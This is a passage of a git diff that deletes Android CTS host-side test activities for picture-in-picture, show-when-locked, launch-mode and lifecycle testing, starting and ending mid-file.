- // Set the fixed orientation if requested
- if (getIntent().hasExtra(EXTRA_FIXED_ORIENTATION)) {
- final int ori = Integer.parseInt(getIntent().getStringExtra(EXTRA_FIXED_ORIENTATION));
- setRequestedOrientation(ori);
- }
-
- // Set the window flag to show over the keyguard
- if (getIntent().hasExtra(EXTRA_SHOW_OVER_KEYGUARD)) {
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
- }
-
- // Enter picture in picture with the given aspect ratio if provided
- if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
- if (getIntent().hasExtra(EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR)
- && getIntent().hasExtra(EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR)) {
- try {
- final PictureInPictureParams.Builder builder =
- new PictureInPictureParams.Builder();
- builder.setAspectRatio(getAspectRatio(getIntent(),
- EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR,
- EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR));
- enterPictureInPictureMode(builder.build());
- } catch (Exception e) {
- // This call can fail intentionally if the aspect ratio is too extreme
- }
- } else {
- enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
- }
- }
-
- // We need to wait for either enterPictureInPicture() or requestAutoEnterPictureInPicture()
- // to be called before setting the aspect ratio
- if (getIntent().hasExtra(EXTRA_SET_ASPECT_RATIO_NUMERATOR)
- && getIntent().hasExtra(EXTRA_SET_ASPECT_RATIO_DENOMINATOR)) {
- final PictureInPictureParams.Builder builder =
- new PictureInPictureParams.Builder();
- builder.setAspectRatio(getAspectRatio(getIntent(),
- EXTRA_SET_ASPECT_RATIO_NUMERATOR, EXTRA_SET_ASPECT_RATIO_DENOMINATOR));
- try {
- setPictureInPictureParams(builder.build());
- } catch (Exception e) {
- // This call can fail intentionally if the aspect ratio is too extreme
- }
- }
-
- // Enable tap to finish if necessary
- if (getIntent().hasExtra(EXTRA_TAP_TO_FINISH)) {
- setContentView(R.layout.tap_to_finish_pip_layout);
- findViewById(R.id.content).setOnClickListener(v -> {
- finish();
- });
- }
-
- // Launch a new activity if requested
- String launchActivityComponent = getIntent().getStringExtra(EXTRA_START_ACTIVITY);
- if (launchActivityComponent != null) {
- Intent launchIntent = new Intent();
- launchIntent.setComponent(ComponentName.unflattenFromString(launchActivityComponent));
- startActivity(launchIntent);
- }
-
- // Register the broadcast receiver
- IntentFilter filter = new IntentFilter();
- filter.addAction(ACTION_ENTER_PIP);
- filter.addAction(ACTION_MOVE_TO_BACK);
- filter.addAction(ACTION_EXPAND_PIP);
- filter.addAction(ACTION_SET_REQUESTED_ORIENTATION);
- filter.addAction(ACTION_FINISH);
- registerReceiver(mReceiver, filter);
-
- // Dump applied display metrics.
- Configuration config = getResources().getConfiguration();
- dumpDisplaySize(config);
- dumpConfiguration(config);
- }
-
- @Override
- protected void onResume() {
- super.onResume();
-
- // Finish self if requested
- if (getIntent().hasExtra(EXTRA_FINISH_SELF_ON_RESUME)) {
- finish();
- }
- }
-
- @Override
- protected void onPause() {
- super.onPause();
-
- // Pause if requested
- if (getIntent().hasExtra(EXTRA_ON_PAUSE_DELAY)) {
- SystemClock.sleep(Long.valueOf(getIntent().getStringExtra(EXTRA_ON_PAUSE_DELAY)));
- }
-
- // Enter PIP on move to background
- if (getIntent().hasExtra(EXTRA_ENTER_PIP_ON_PAUSE)) {
- enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
- }
- }
-
- @Override
- protected void onStop() {
- super.onStop();
-
- if (getIntent().hasExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP) && !mEnteredPictureInPicture) {
- Log.w(TAG, "Unexpected onStop() called before entering picture-in-picture");
- finish();
- }
- }
-
- @Override
- protected void onDestroy() {
- super.onDestroy();
-
- unregisterReceiver(mReceiver);
- }
-
- @Override
- public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode) {
- super.onPictureInPictureModeChanged(isInPictureInPictureMode);
-
- // Fail early if the activity state does not match the dispatched state
- if (isInPictureInPictureMode() != isInPictureInPictureMode) {
- Log.w(TAG, "Received onPictureInPictureModeChanged mode=" + isInPictureInPictureMode
- + " activityState=" + isInPictureInPictureMode());
- finish();
- }
-
- // Mark that we've entered picture-in-picture so that we can stop checking for
- // EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP
- if (isInPictureInPictureMode) {
- mEnteredPictureInPicture = true;
- }
-
- if (!isInPictureInPictureMode && getIntent().hasExtra(EXTRA_REENTER_PIP_ON_EXIT)) {
- // This call to re-enter PIP can happen too quickly (host side tests can have difficulty
- // checking that the stacks ever changed). Therefor, we need to delay here slightly to
- // allow the tests to verify that the stacks have changed before re-entering.
- mHandler.postDelayed(() -> {
- enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
- }, 1000);
- }
- }
-
- @Override
- public void onConfigurationChanged(Configuration newConfig) {
- super.onConfigurationChanged(newConfig);
- dumpDisplaySize(newConfig);
- dumpConfiguration(newConfig);
- }
-
- /**
- * Launches a new instance of the PipActivity directly into the pinned stack.
- */
- static void launchActivityIntoPinnedStack(Activity caller, Rect bounds) {
- final Intent intent = new Intent(caller, PipActivity.class);
- intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
- intent.putExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
-
- final ActivityOptions options = ActivityOptions.makeBasic();
- options.setLaunchBounds(bounds);
- options.setLaunchStackId(4 /* ActivityManager.StackId.PINNED_STACK_ID */);
- caller.startActivity(intent, options.toBundle());
- }
-
- /**
- * Launches a new instance of the PipActivity in the same task that will automatically enter
- * PiP.
- */
- static void launchEnterPipActivity(Activity caller) {
- final Intent intent = new Intent(caller, PipActivity.class);
- intent.putExtra(EXTRA_ENTER_PIP, "true");
- intent.putExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
- caller.startActivity(intent);
- }
-
- @Override
- protected String getTag() {
- return TAG;
- }
-
- /**
- * @return a {@link Rational} aspect ratio from the given intent and extras.
- */
- private Rational getAspectRatio(Intent intent, String extraNum, String extraDenom) {
- return new Rational(
- Integer.valueOf(intent.getStringExtra(extraNum)),
- Integer.valueOf(intent.getStringExtra(extraDenom)));
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity2.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity2.java
deleted file mode 100644
index 53b4f75..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity2.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-/**
- * A secondary activity that has the same behavior as {@link PipActivity}.
- */
-public class PipActivity2 extends PipActivity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivityWithSameAffinity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivityWithSameAffinity.java
deleted file mode 100644
index e97dc0e..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivityWithSameAffinity.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.app.PictureInPictureParams;
-
-/**
- * An activity that can enter PiP with a fixed affinity to match
- * {@link TestActivityWithSameAffinity}.
- */
-public class PipActivityWithSameAffinity extends Activity {
-
- @Override
- protected void onResume() {
- super.onResume();
-
- enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipOnStopActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipOnStopActivity.java
deleted file mode 100644
index 1abc696..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipOnStopActivity.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-
-/**
- * This activity will try and enter picture in picture when it is stopped.
- */
-public class PipOnStopActivity extends Activity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- setContentView(R.layout.tap_to_finish_pip_layout);
- }
-
- @Override
- protected void onResume() {
- super.onResume();
-
- startActivity(new Intent(this, PipActivity.class));
- }
-
- @Override
- protected void onStop() {
- super.onStop();
-
- try {
- enterPictureInPictureMode();
- } catch (RuntimeException e) {
- // Known failure, we expect this call to throw an exception
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PortraitOrientationActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PortraitOrientationActivity.java
deleted file mode 100644
index 5fa1fc8..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PortraitOrientationActivity.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.res.Configuration;
-
-public class PortraitOrientationActivity extends AbstractLifecycleLogActivity {
-
- @Override
- protected String getTag() {
- return "PortraitOrientationActivity";
- }
-
- @Override
- protected void onResume() {
- super.onResume();
- final Configuration config = getResources().getConfiguration();
- dumpDisplaySize(config);
- }
-
- @Override
- public void onConfigurationChanged(Configuration newConfig) {
- super.onConfigurationChanged(newConfig);
- dumpDisplaySize(newConfig);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResizeableActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResizeableActivity.java
deleted file mode 100644
index aad874b..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResizeableActivity.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-package android.server.cts;
-
-import android.content.res.Configuration;
-import android.os.Bundle;
-
-public class ResizeableActivity extends AbstractLifecycleLogActivity {
- @Override
- protected String getTag() {
- return "ResizeableActivity";
- }
-
- @Override
- protected void onCreate(Bundle icicle) {
- super.onCreate(icicle);
- setContentView(R.layout.resizeable_activity);
- dumpDisplaySize(getResources().getConfiguration());
- }
-
- @Override
- public void onConfigurationChanged(Configuration newConfig) {
- super.onConfigurationChanged(newConfig);
- dumpDisplaySize(newConfig);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
deleted file mode 100644
index 578d7e5..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class ResumeWhilePausingActivity extends Activity {
- // Empty
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedActivity.java
deleted file mode 100644
index 6e3348a..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedActivity.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class ShowWhenLockedActivity extends BroadcastReceiverActivity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java
deleted file mode 100644
index c53c485..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-public class ShowWhenLockedAttrActivity extends AbstractLifecycleLogActivity {
- private static final String TAG = ShowWhenLockedAttrActivity.class.getSimpleName();
-
- @Override
- protected String getTag() {
- return TAG;
- }
-
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java
deleted file mode 100644
index dbad34d..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.os.Bundle;
-
-public class ShowWhenLockedAttrRemoveAttrActivity extends AbstractLifecycleLogActivity {
- private static final String TAG = ShowWhenLockedAttrRemoveAttrActivity.class.getSimpleName();
-
- @Override
- protected void onStop() {
- super.onStop();
- setShowWhenLocked(false);
- }
-
- @Override
- protected String getTag() {
- return TAG;
- }
-
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java
deleted file mode 100644
index 136706a..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class ShowWhenLockedAttrWithDialogActivity extends Activity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- new AlertDialog.Builder(this)
- .setTitle("Dialog")
- .show();
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedDialogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedDialogActivity.java
deleted file mode 100644
index 5b60139..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedDialogActivity.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class ShowWhenLockedDialogActivity extends Activity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedTranslucentActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedTranslucentActivity.java
deleted file mode 100644
index 929c9f7..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedTranslucentActivity.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class ShowWhenLockedTranslucentActivity extends Activity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
- setContentView(R.layout.translucent);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedWithDialogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedWithDialogActivity.java
deleted file mode 100644
index 58d5ac7..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedWithDialogActivity.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class ShowWhenLockedWithDialogActivity extends Activity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
- new AlertDialog.Builder(this)
- .setTitle("Dialog")
- .show();
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleInstanceActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleInstanceActivity.java
deleted file mode 100644
index e0eaecf..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleInstanceActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class SingleInstanceActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleTaskActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleTaskActivity.java
deleted file mode 100644
index 7ffde13..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleTaskActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class SingleTaskActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SlowCreateActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SlowCreateActivity.java
deleted file mode 100644
index a757165..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SlowCreateActivity.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class SlowCreateActivity extends Activity {
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- try {
- Thread.sleep(2000);
- } catch(InterruptedException e) {}
- super.onCreate(savedInstanceState);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SplashscreenActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SplashscreenActivity.java
deleted file mode 100644
index 22391bd..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SplashscreenActivity.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.os.SystemClock;
-
-/**
- * Activity that shows a custom splashscreen when being launched.
- */
-public class SplashscreenActivity extends Activity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- // Make sure splash screen is visible. The test won't take 5 seconds because the condition
- // such that we can dump the state will trigger much earlier and then the test will just
- // kill us.
- SystemClock.sleep(5000);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshActivity.java
deleted file mode 100644
index 5f36abc..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshActivity.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.server.cts.SwipeRefreshLayout;
-
-
-/**
- * An activity containing a SwipeRefreshLayout which prevents activity idle.
- */
-public class SwipeRefreshActivity extends AbstractLifecycleLogActivity {
- private static final String TAG = SwipeRefreshActivity.class.getSimpleName();
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(new SwipeRefreshLayout(this));
- }
-
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshLayout.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshLayout.java
deleted file mode 100644
index a061d9e..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshLayout.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.Context;
-import android.util.AttributeSet;
-
-/**
- * An extension of {@link android.support.v4.widget.SwipeRefreshLayout} that calls
- * {@link #setRefreshing} during construction, preventing activity idle.
- */
-public class SwipeRefreshLayout extends android.support.v4.widget.SwipeRefreshLayout {
- public SwipeRefreshLayout(Context context) {
- super(context);
